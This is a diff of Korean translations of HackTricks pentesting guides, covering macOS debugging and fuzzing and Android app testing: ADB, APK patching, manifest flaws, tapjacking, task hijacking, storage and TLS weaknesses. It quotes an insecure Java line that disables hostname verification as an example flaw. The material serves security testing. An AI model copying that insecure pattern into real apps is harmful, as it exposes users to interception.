* **`sysctl`** 또는 **`ptrace`** 함수가 **가져오기(imported)**되었는지 확인할 수 있습니다(그러나 악성 코드는 동적으로 가져올 수 있음).
|
||||
* 이 글에서 언급된 대로, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
|
||||
“_메시지 Process # exited with **status = 45 (0x0000002d)**는 일반적으로 디버그 대상이 **PT\_DENY\_ATTACH**를 사용하고 있음을 나타내는 신호입니다._”
|
||||
## Fuzzing
|
||||
“_메시지 Process # exited with **status = 45 (0x0000002d)**는 일반적으로 디버그 대상이 **PT\_DENY\_ATTACH**를 사용하고 있음을 나타내는 신호입니다_”
|
||||
## 코어 덤프
|
||||
|
||||
코어 덤프는 다음과 같은 경우에 생성됩니다:
|
||||
|
||||
- `kern.coredump` sysctl이 1로 설정되어 있는 경우 (기본값)
|
||||
- 프로세스가 suid/sgid가 아니거나 `kern.sugid_coredump`가 1로 설정된 경우 (기본값은 0)
|
||||
- `AS_CORE` 제한이 작동을 허용하는 경우. `ulimit -c 0`을 호출하여 코어 덤프 생성을 억제하고, `ulimit -c unlimited`로 다시 활성화할 수 있습니다.
|
||||
|
||||
이러한 경우에는 코어 덤프가 `kern.corefile` sysctl에 따라 생성되며, 일반적으로 `/cores/core/.%P`에 저장됩니다.
|
||||
|
||||
## 퍼징
|
||||
|
||||
### [ReportCrash](https://ss64.com/osx/reportcrash.html)
|
||||
|
||||
ReportCrash **는 충돌하는 프로세스를 분석하고 충돌 보고서를 디스크에 저장**합니다. 충돌 보고서에는 충돌 원인을 진단하는 데 도움이 되는 정보가 포함되어 있습니다.\
|
||||
응용 프로그램 및 다른 프로세스 **사용자별 launchd 컨텍스트에서 실행 중인 경우**, ReportCrash는 LaunchAgent로 실행되어 사용자의 `~/Library/Logs/DiagnosticReports/`에 충돌 보고서를 저장합니다.\
|
||||
데몬, 시스템 launchd 컨텍스트에서 실행 중인 다른 프로세스 및 다른 권한이 있는 프로세스의 경우, ReportCrash는 LaunchDaemon으로 실행되어 시스템의 `/Library/Logs/DiagnosticReports`에 충돌 보고서를 저장합니다.
|
||||
ReportCrash는 **충돌하는 프로세스를 분석하고 충돌 보고서를 디스크에 저장**합니다. 충돌 보고서에는 충돌 원인을 **진단하는 데 도움이 되는 정보**가 포함되어 있습니다.\
|
||||
개인 사용자 런치드 컨텍스트에서 실행되는 응용 프로그램 및 기타 프로세스의 경우, ReportCrash는 런치 에이전트로 실행되어 사용자의 `~/Library/Logs/DiagnosticReports/`에 충돌 보고서를 저장합니다.\
|
||||
데몬, 시스템 런치드 컨텍스트에서 실행되는 다른 프로세스 및 다른 권한이 있는 프로세스의 경우, ReportCrash는 런치 데몬으로 실행되어 시스템의 `/Library/Logs/DiagnosticReports`에 충돌 보고서를 저장합니다.
|
||||
|
||||
Apple로 **보내지는 충돌 보고서**에 대해 걱정된다면 비활성화할 수 있습니다. 그렇지 않으면 충돌 보고서는 **서버가 어떻게 충돌했는지 파악하는 데 유용**할 수 있습니다.
|
||||
```bash
|
||||
|
@ -517,24 +592,24 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)은 **다크 웹**을 기반으로 한 검색 엔진으로, 회사나 그 고객이 **스틸러 악성 소프트웨어**에 의해 **침해**를 당했는지 무료로 확인할 수 있는 기능을 제공합니다.
|
||||
[**WhiteIntel**](https://whiteintel.io)은 **다크 웹**을 기반으로 한 검색 엔진으로, 회사나 그 고객이 **스틸러 악성 소프트웨어**에 의해 **침해**당했는지 확인하는 **무료** 기능을 제공합니다.
|
||||
|
||||
WhiteIntel의 주요 목표는 정보 탈취 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격에 대항하는 것입니다.
|
||||
WhiteIntel의 주요 목표는 정보를 도난당한 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.
|
||||
|
||||
그들의 웹사이트를 방문하여 엔진을 **무료로** 사용해 볼 수 있습니다:
|
||||
그들의 웹사이트를 방문하여 **무료**로 엔진을 시도해 볼 수 있습니다:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로**부터 **AWS 해킹**을 전문가로 배우세요!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로**부터 **히어로**까지 AWS 해킹을 배우세요!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에 광고하거나 PDF로 다운로드하려면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 구매하세요
|
||||
* **회사를 HackTricks에 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,19 +7,19 @@
|
|||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)**에 가입하거나 [텔레그램 그룹](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **다음에 참여하세요** 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass) 또는 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를** 팔로우하세요.
|
||||
* **해킹 트릭을 공유하세요.** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출함으로써
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
경험 많은 해커 및 버그 바운티 헌터와 소통하려면 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 가입하세요!
|
||||
경험 많은 해커 및 버그 바운티 헌터들과 소통하려면 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 가입하세요!
|
||||
|
||||
**해킹 통찰력**\
|
||||
해킹의 스릴과 도전에 대해 탐구하는 콘텐츠와 상호 작용
|
||||
해킹의 스릴과 도전에 대해 파고드는 콘텐츠와 상호 작용하세요
|
||||
|
||||
**실시간 해킹 뉴스**\
|
||||
빠르게 변화하는 해킹 세계의 실시간 뉴스와 통찰력을 유지하세요
|
||||
|
@ -27,7 +27,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
**최신 공지**\
|
||||
출시되는 최신 버그 바운티 및 중요한 플랫폼 업데이트에 대해 알아두세요
|
||||
|
||||
**우리와 함께** [**디스코드**](https://discord.com/invite/N3FrSbmwdy)에 가입하여 오늘 최고의 해커들과 협업을 시작하세요!
|
||||
**우리와 함께** [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하여 오늘 최고의 해커들과 협업을 시작하세요!
|
||||
|
||||
## 안드로이드 애플리케이션 기초
|
||||
|
||||
|
@ -39,20 +39,20 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
## ADB (Android Debug Bridge)
|
||||
|
||||
이것은 안드로이드 장치(가상 또는 물리적)에 연결하는 데 필요한 주요 도구입니다.\
|
||||
이것은 안드로이드 장치(에뮬레이션 또는 물리적)에 연결하는 데 필요한 주요 도구입니다.\
|
||||
**ADB**는 컴퓨터에서 장치를 **USB** 또는 **네트워크**를 통해 제어할 수 있습니다. 이 유틸리티는 파일을 **양방향으로 복사**, 앱을 **설치** 및 **제거**, 셸 명령을 **실행**, 데이터를 **백업**, 로그를 **읽기** 등의 기능을 가능하게 합니다.
|
||||
|
||||
ADB를 사용하는 방법을 배우기 위해 [**ADB Commands**](adb-commands.md) 목록을 확인하세요.
|
||||
|
||||
## Smali
|
||||
|
||||
가끔은 **애플리케이션 코드를 수정**하여 **숨겨진 정보**(아마도 잘 난독화된 비밀번호 또는 플래그)에 액세스하는 것이 흥미로울 수 있습니다. 그런 다음 apk를 디컴파일하고 코드를 수정한 후 다시 컴파일하는 것이 흥미로울 수 있습니다.\
|
||||
가끔은 **애플리케이션 코드를 수정**하여 **숨겨진 정보**(아마도 잘 난독화된 비밀번호 또는 플래그)에 액세스하는 것이 흥미로울 수 있습니다. 그런 다음 apk를 디컴파일하여 코드를 수정하고 다시 컴파일하는 것이 흥미로울 수 있습니다.\
|
||||
[**이 튜토리얼**에서는 **APK를 디컴파일하고, Smali 코드를 수정하고 새 기능이 추가된 APK를 다시 컴파일하는 방법**을 배울 수 있습니다](smali-changes.md). 이것은 **동적 분석 중에 여러 테스트를 위한 대안으로 매우 유용**할 수 있습니다. 그러므로 **언제나 이 가능성을 염두**에 두세요.
|
||||
|
||||
## 다른 흥미로운 트릭
|
||||
|
||||
* [Play Store에서 위치 위조하기](spoofing-your-location-in-play-store.md)
|
||||
* **APK 다운로드**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/)
|
||||
* **APK 다운로드**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
* 장치에서 APK 추출:
|
||||
```bash
|
||||
adb shell pm list packages
|
||||
|
@ -74,7 +74,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
|||
```
|
||||
## 정적 분석
|
||||
|
||||
우선 APK를 분석하기 위해 **디컴파일러를 사용하여 Java 코드를 살펴봐야**합니다.\
|
||||
우선, APK를 분석하기 위해 **디컴파일러를 사용하여 Java 코드를 살펴봐야**합니다.\
|
||||
[**여기를 읽어서 다양한 사용 가능한 디컴파일러에 대한 정보를 찾으세요**](apk-decompilers.md).
|
||||
|
||||
### 흥미로운 정보 찾기
|
||||
|
@ -83,7 +83,7 @@ APK의 **문자열**을 살펴보기만 해도 **비밀번호**, **URL**, **API*
|
|||
|
||||
**Firebase**
|
||||
|
||||
**Firebase URL**에 특별히 주의를 기울이고 잘못 구성되었는지 확인하세요. [Firebase가 무엇이며 어떻게 악용할 수 있는지에 대한 자세한 정보는 여기를 참조하세요.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
**Firebase URL**에 특별히 주의를 기울이고 잘못 구성되었는지 확인하세요. [Firebase가 무엇이며 어떻게 악용할 수 있는지에 대한 자세한 정보는 여기에서 확인하세요.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
|
||||
### 애플리케이션의 기본 이해 - Manifest.xml, strings.xml
|
||||
|
||||
|
@ -91,10 +91,10 @@ APK의 **문자열**을 살펴보기만 해도 **비밀번호**, **URL**, **API*
|
|||
|
||||
**Manifest.xml**에서 식별된 **취약점**은 다음과 같습니다:
|
||||
|
||||
* **디버깅 가능한 애플리케이션**: _Manifest.xml_ 파일에서 디버깅 가능으로 설정된 애플리케이션(`debuggable="true"`)은 연결을 허용하여 악용으로 이어질 수 있으므로 위험합니다. 디버깅 가능한 애플리케이션을 어떻게 악용할 수 있는지에 대한 자세한 내용은 기기에서 디버깅 가능한 애플리케이션을 찾고 악용하는 튜토리얼을 참조하세요.
|
||||
* **백업 설정**: 민감한 정보를 다루는 애플리케이션의 경우 `android:allowBackup="false"` 속성을 명시적으로 설정하여 USB 디버깅이 활성화된 경우 adb를 통해 무단 데이터 백업을 방지해야 합니다.
|
||||
* **네트워크 보안**: _res/xml/_에서 사용자 지정 네트워크 보안 구성(`android:networkSecurityConfig="@xml/network_security_config"`)은 인증서 핀 및 HTTP 트래픽 설정과 같은 보안 세부 정보를 지정할 수 있습니다. 특정 도메인에 대한 HTTP 트래픽을 허용하는 예시가 있습니다.
|
||||
* **내보낸 활동 및 서비스**: Manifest에서 내보낸 활동 및 서비스를 식별하면 오용될 수 있는 구성 요소를 강조할 수 있습니다. 동적 테스트 중에 이러한 구성 요소를 어떻게 악용할지 밝혀낼 수 있습니다.
|
||||
* **디버깅 가능한 애플리케이션**: _Manifest.xml_ 파일에서 디버깅 가능으로 설정된 애플리케이션(`debuggable="true"`)은 연결을 허용하여 악용으로 이어질 수 있으므로 위험합니다. 디버깅 가능한 애플리케이션을 악용하는 방법에 대한 자세한 내용은 기기에서 디버깅 가능한 애플리케이션을 찾고 악용하는 튜토리얼을 참조하세요.
|
||||
* **백업 설정**: 민감한 정보를 다루는 애플리케이션의 경우 `android:allowBackup="false"` 속성을 명시적으로 설정하여 adb를 통한 무단 데이터 백업을 방지해야 합니다. 특히 USB 디버깅이 활성화된 경우 더욱 중요합니다.
|
||||
* **네트워크 보안**: _res/xml/_에 있는 사용자 정의 네트워크 보안 구성(`android:networkSecurityConfig="@xml/network_security_config"`)은 인증서 핀 및 HTTP 트래픽 설정과 같은 보안 세부 정보를 지정할 수 있습니다. 특정 도메인에 대한 HTTP 트래픽을 허용하는 예시가 있습니다.
|
||||
* **공개된 활동 및 서비스**: Manifest에서 공개된 활동 및 서비스를 식별하면 오용될 수 있는 구성 요소를 강조할 수 있습니다. 동적 테스트 중에 이러한 구성 요소를 어떻게 악용할지 밝혀낼 수 있습니다.
|
||||
* **콘텐츠 제공자 및 파일 제공자**: 노출된 콘텐츠 제공자는 데이터에 대한 무단 액세스 또는 수정을 허용할 수 있습니다. FileProvider의 구성도 면밀히 살펴봐야 합니다.
|
||||
* **브로드캐스트 수신기 및 URL 스키마**: 이러한 구성 요소는 악용에 활용될 수 있으며 URL 스키마가 입력 취약점을 위해 어떻게 관리되는지에 특히 주의를 기울여야 합니다.
|
||||
* **SDK 버전**: `minSdkVersion`, `targetSDKVersion`, `maxSdkVersion` 속성은 지원되는 Android 버전을 나타내며, 보안상의 이유로 오래된 취약한 Android 버전을 지원하지 않는 것이 중요함을 강조합니다.
|
||||
|
@ -103,8 +103,8 @@ APK의 **문자열**을 살펴보기만 해도 **비밀번호**, **URL**, **API*
|
|||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking**은 **악성 애플리케이션이 피해 애플리케이션 위에 위치하도록 하여** 사용자를 속이는 공격입니다. 피해 애플리케이션의 사용자 인터페이스가 사용자가 상호 작용하도록 속일 수 있도록 설계되어 있습니다.\
|
||||
사용자는 실제로 피해 애플리케이션에서 작업을 수행하고 있다는 사실을 모르게 만들어집니다.
|
||||
**Tapjacking**은 **악성 애플리케이션이 피해 애플리케이션 위에 위치하도록 하여** 사용자를 속이는 공격입니다. 피해 애플리케이션이 시각적으로 가려지면 사용자 인터페이스가 사용자를 속이기 위해 설계되어 있으며, 사용자가 상호 작용하는 것처럼 보이지만 실제로는 피해 애플리케이션에서 작업을 수행하게 합니다.\
|
||||
사용자가 실제로 피해 애플리케이션에서 작업을 수행하고 있다는 사실을 모르게 만들어 **사용자를 속이는** 효과가 있습니다.
|
||||
|
||||
더 많은 정보는 다음에서 확인하세요:
|
||||
|
||||
|
@ -114,7 +114,7 @@ APK의 **문자열**을 살펴보기만 해도 **비밀번호**, **URL**, **API*
|
|||
|
||||
### 작업 탈취
|
||||
|
||||
`launchMode`가 **`singleTask`로 설정되고 `taskAffinity`가 정의되지 않은** **액티비티**는 작업 탈취에 취약합니다. 이는 **애플리케이션이 설치되고 실제 애플리케이션보다 먼저 실행되면 실제 애플리케이션의 작업을 탈취**할 수 있음을 의미합니다(따라서 사용자는 실제 애플리케이션을 사용 중이라고 생각하면서 악성 애플리케이션과 상호 작용할 것입니다).
|
||||
`launchMode`가 **`singleTask`로 설정되어 있지만 `taskAffinity`가 정의되지 않은** **액티비티**는 작업 탈취에 취약합니다. 이는 **애플리케이션이 설치되고 실제 애플리케이션이 실행되기 전에 시작되면** 실제 애플리케이션의 작업을 탈취할 수 있음을 의미합니다(따라서 사용자는 실제 애플리케이션을 사용 중이라고 생각하면서 악성 애플리케이션과 상호 작용할 것입니다).
|
||||
|
||||
자세한 정보는 다음에서 확인하세요:
|
||||
|
||||
|
@ -126,16 +126,16 @@ APK의 **문자열**을 살펴보기만 해도 **비밀번호**, **URL**, **API*
|
|||
|
||||
**내부 저장소**
|
||||
|
||||
Android에서 **내부 저장소에 저장된 파일**은 **생성한 앱만이 액세스**할 수 있도록 설계되어 있습니다. 이 보안 조치는 Android 운영 체제에 의해 강제되며 대부분의 애플리케이션의 보안 요구를 충분히 충족합니다. 그러나 개발자는 때로 `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE`과 같은 모드를 사용하여 파일을 다른 애플리케이션 간에 **공유**할 수 있습니다. 그러나 이러한 모드는 이러한 파일에 대한 액세스를 다른 애플리케이션(잠재적으로 악의적인 애플리케이션 포함)에 제한하지 않습니다.
|
||||
Android에서 **내부 저장소에 저장된 파일**은 **생성한 앱만이** 액세스할 수 있도록 설계되어 있습니다. 이 보안 조치는 Android 운영 체제에 의해 강제되며 대부분의 애플리케이션의 보안 요구를 충족하는 데 일반적으로 충분합니다. 그러나 개발자는 때로 `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE`과 같은 모드를 사용하여 파일을 다른 애플리케이션 간에 **공유**할 수 있습니다. 그러나 이러한 모드는 이러한 파일에 대한 액세스를 다른 애플리케이션(잠재적으로 악의적인 애플리케이션 포함)에 제한하지 않습니다.
|
||||
|
||||
1. **정적 분석:**
|
||||
* `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE` 사용이 **주의 깊게 검토**되었는지 **확인**하세요. 이러한 모드는 파일을 **의도하지 않은 또는 무단 액세스에 노출**시킬 수 있습니다.
|
||||
* `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE` 사용이 **주의 깊게 검토**되었는지 확인하세요. 이러한 모드는 파일을 **의도하지 않은 또는 무단 액세스에 노출**시킬 수 있습니다.
|
||||
2. **동적 분석:**
|
||||
* 앱이 생성한 파일에 설정된 **권한**을 확인하세요. 특히 파일이 **전 세계에서 읽거나 쓰기 가능하도록 설정**되어 있는지 확인하세요. 이는 잠재적으로 보안 위험을 초래할 수 있으며, 기기에 설치된 **어떤 애플리케이션**이든 이러한 파일을 **읽거나 수정**할 수 있게 됩니다.
|
||||
* 앱이 생성한 파일에 설정된 **권한**을 확인하세요. 특히 파일이 **전 세계에서 읽거나 쓰기 가능하도록 설정**되어 있는지 확인하세요. 이는 잠재적으로 모든 애플리케이션이 이러한 파일을 읽거나 수정할 수 있게 하므로 중요한 보안 위험을 초래할 수 있습니다.
|
||||
|
||||
**외부 저장소**
|
||||
|
||||
외부 저장소(예: SD 카드)의 파일을 처리할 때는 특정 주의사항이 필요합니다:
|
||||
외부 저장소(예: SD 카드)의 파일을 다룰 때는 특정 주의사항이 필요합니다:
|
||||
|
||||
1. **접근성**:
|
||||
* 외부 저장소의 파일은 **전역적으로 읽기 및 쓰기 가능**합니다. 이는 모든 애플리케이션이나 사용자가 이러한 파일에 액세스할 수 있다는 것을 의미합니다.
|
||||
|
@ -143,33 +143,33 @@ Android에서 **내부 저장소에 저장된 파일**은 **생성한 앱만이
|
|||
* 액세스 용이성을 고려하여 외부 저장소에 **민감한 정보를 저장하지 않는 것이 좋습니다**.
|
||||
* 외부 저장소는 제거되거나 모든 애플리케이션이 액세스할 수 있으므로 덜 안전합니다.
|
||||
3. **외부 저장소에서 데이터 처리**:
|
||||
* 외부 저장소에서 검색된 데이터에 대해 **입력 유효성 검사**를 항상 수행하세요. 이는 데이터가 신뢰할 수 없는 소스에서 가져온 것이기 때문에 중요합니다.
|
||||
* 외부 저장소에서 검색된 데이터에 대해 **입력 유효성 검사**를 항상 수행하세요. 이는 신뢰할 수 없는 소스에서 데이터를 가져왔기 때문에 중요합니다.
|
||||
* 외부 저장소에 실행 파일이나 클래스 파일을 저장하여 동적으로 로드하는 것은 강력히 권장되지 않습니다.
|
||||
* 애플리케이션이 외부 저장소에서 실행 파일을 검색해야 하는 경우, 이러한 파일이 동적으로 로드되기 전에 **서명되고 암호화가 확인**되도록 항상 확인하세요. 이 단계는 애플리케이션의 보안 무결성을 유지하는 데 중요합니다.
|
||||
* 애플리케이션이 외부 저장소에서 실행 파일을 검색해야 하는 경우, 이러한 파일이 동적으로 로드되기 전에 **서명되고 암호화가 확인**되도록 보장하세요. 이 단계는 애플리케이션의 보안 무결성을 유지하는 데 중요합니다.
|
||||
|
||||
외부 저장소는 `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`에서 **액세스**할 수 있습니다.
|
||||
|
||||
{% hint style="info" %}
|
||||
Android 4.4(API 17)부터 SD 카드에는 앱에 특정으로 지정된 디렉토리에 대한 앱의 액세스만을 허용하는 디렉토리 구조가 있습니다. 이는 악성 애플리케이션이 다른 앱의 파일을 읽거나 쓸 수 없도록 합니다.
|
||||
Android 4.4(API 17)부터 SD 카드에는 앱에 특정으로 지정된 디렉토리에 대한 앱의 디렉토리 구조가 있습니다. 이는 악성 애플리케이션이 다른 앱의 파일을 읽거나 쓰는 것을 방지합니다.
|
||||
{% endhint %}
|
||||
|
||||
**평문으로 저장된 민감한 데이터**
|
||||
|
||||
* **공유 환경 설정**: Android는 각 애플리케이션이 `/data/data/<패키지명>/shared_prefs/` 경로에 쉽게 XML 파일을 저장할 수 있도록 허용하며 때로는 해당 폴더에서 평문으로 민감한 정보를 찾을 수 있습니다.
|
||||
* **데이터베이스**: Android는 각 애플리케이션이 `/data/data/<패키지명>/databases/` 경로에 쉽게 SQLite 데이터베이스를 저장할 수 있도록 허용하며 때로는 해당 폴더에서 평문으로 민감한 정보를 찾을 수 있습니다.
|
||||
* **공유 환경 설정**: Android는 각 애플리케이션이 `/data/data/<패키지명>/shared_prefs/` 경로에 XML 파일을 쉽게 저장할 수 있도록 허용하며 때로는 해당 폴더에서 평문으로 민감한 정보를 찾을 수 있습니다.
|
||||
* **데이터베이스**: Android는 각 애플리케이션이 `/data/data/<패키지명>/databases/` 경로에 SQLite 데이터베이스를 쉽게 저장할 수 있도록 허용하며 때로는 해당 폴더에서 평문으로 민감한 정보를 찾을 수 있습니다.
|
||||
|
||||
### TLS 깨진 상태
|
||||
### TLS 깨진 경우
|
||||
|
||||
**모든 인증서 수락**
|
||||
|
||||
가끔 개발자들은 호스트 이름이 일치하지 않아도 모든 인증서를 수락하는 경우가 있습니다. 코드 라인 예시:
|
||||
가끔 개발자들은 호스트 이름이 일치하지 않아도 모든 인증서를 수락하는 경우가 있습니다. 예를 들어 다음과 같은 코드 라인과 같이:
|
||||
```java
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
```
|
||||
### 취약한 암호화
|
||||
|
||||
**암호화 키 관리 과정의 미비함**
|
||||
**암호화 키 관리 프로세스의 결함**
|
||||
|
||||
일부 개발자는 민감한 데이터를 로컬 저장소에 저장하고 코드 내에서 하드코딩/예측 가능한 키로 암호화합니다. 이렇게 하면 공격자가 기밀 정보를 추출할 수 있게 될 수 있으므로 이는 피해야 합니다.
|
||||
|
||||
|
@ -179,7 +179,7 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
|||
|
||||
### 기타 확인 사항
|
||||
|
||||
* **APK를 난독화**하는 것이 좋습니다. 이렇게 하면 역공학 작업을 어렵게 할 수 있습니다.
|
||||
* APK를 **난독화**하는 것이 좋습니다. 이렇게 하면 역공학 작업을 어렵게 할 수 있습니다.
|
||||
* 앱이 민감한 경우(은행 앱 등), 모바일이 루팅되었는지 확인하고 그에 따라 조치를 취해야 합니다.
|
||||
* 앱이 민감한 경우(은행 앱 등), 에뮬레이터를 사용하는지 확인해야 합니다.
|
||||
* 앱이 민감한 경우(은행 앱 등), 실행 전에 **자체 무결성을 확인**해야 합니다.
|
||||
|
@ -241,15 +241,15 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
|||
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 가입하여 경험 많은 해커 및 버그 바운티 헌터와 소통하세요!
|
||||
|
||||
**해킹 통찰력**\
|
||||
해킹의 즐거움과 도전에 대해 탐구하는 콘텐츠에 참여하세요
|
||||
해킹의 즐거움과 도전에 대해 탐구하는 콘텐츠와 상호 작용하세요
|
||||
|
||||
**실시간 해킹 뉴스**\
|
||||
실시간 뉴스와 통찰력을 통해 빠른 속도의 해킹 세계를 따라가세요
|
||||
실시간 뉴스와 통찰력을 통해 빠른 속도로 변화하는 해킹 세계를 따라가세요
|
||||
|
||||
**최신 공지**\
|
||||
최신 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대해 알아보세요
|
||||
출시되는 최신 버그 바운티 및 중요한 플랫폼 업데이트에 대해 알아보세요
|
||||
|
||||
**[Discord](https://discord.com/invite/N3FrSbmwdy)에서** 참여하여 최고의 해커들과 협업을 시작하세요!
|
||||
**[Discord](https://discord.com/invite/N3FrSbmwdy)**에 가입하여 최고의 해커들과 협업을 시작하세요!
|
||||
|
||||
***
|
||||
|
||||
|
@ -261,7 +261,7 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
|||
|
||||
[https://appetize.io/](https://appetize.io)에서 **무료 계정**을 만들 수 있습니다. 이 플랫폼을 사용하면 APK를 **업로드**하고 **실행**할 수 있으므로 APK의 작동 방식을 확인하는 데 유용합니다.
|
||||
|
||||
웹에서 애플리케이션의 로그를 볼 수 있고 **adb**를 통해 연결할 수도 있습니다.
|
||||
웹에서 애플리케이션의 로그를 **볼 수** 있고 **adb**를 통해 연결할 수도 있습니다.
|
||||
|
||||
![](<../../.gitbook/assets/image (831).png>)
|
||||
|
||||
|
@ -271,21 +271,21 @@ ADB 연결을 통해 에뮬레이터 내에서 **Drozer** 및 **Frida**를 사
|
|||
|
||||
#### 에뮬레이터 사용
|
||||
|
||||
* [**Android Studio**](https://developer.android.com/studio) (x86 및 arm 장치를 만들 수 있으며, [**최신 x86** 버전은 ARM 라이브러리를 사용할 수 있습니다](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html) - 느린 arm 에뮬레이터가 필요 없음).
|
||||
* 이 페이지에서 설정 방법을 배울 수 있습니다:
|
||||
* [**Android Studio**](https://developer.android.com/studio) (x86 및 arm 장치를 만들 수 있으며, [**최신 x86**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html) 버전은 느린 arm 에뮬레이터 없이 ARM 라이브러리를 지원합니다).
|
||||
* 이 페이지에서 설정 방법을 배우세요:
|
||||
|
||||
{% content-ref url="avd-android-virtual-device.md" %}
|
||||
[avd-android-virtual-device.md](avd-android-virtual-device.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* [**Genymotion**](https://www.genymotion.com/fun-zone/) **(무료 버전:** Personal Edition, 계정을 만들어야 합니다. _가상박스가 있는 버전을 **다운로드**하는 것이 좋습니다._)
|
||||
* [**Nox**](https://es.bignox.com) (무료, 하지만 Frida나 Drozer를 지원하지 않음).
|
||||
* [**Genymotion**](https://www.genymotion.com/fun-zone/) **(무료 버전:** Personal Edition, 계정을 만들어야 합니다. _잠재적인 오류를 피하기 위해_ _**VirtualBox**가 포함된 버전을 **다운로드**하는 것이 좋습니다._)
|
||||
* [**Nox**](https://es.bignox.com) (무료, 하지만 Frida 또는 Drozer를 지원하지 않음).
|
||||
|
||||
{% hint style="info" %}
|
||||
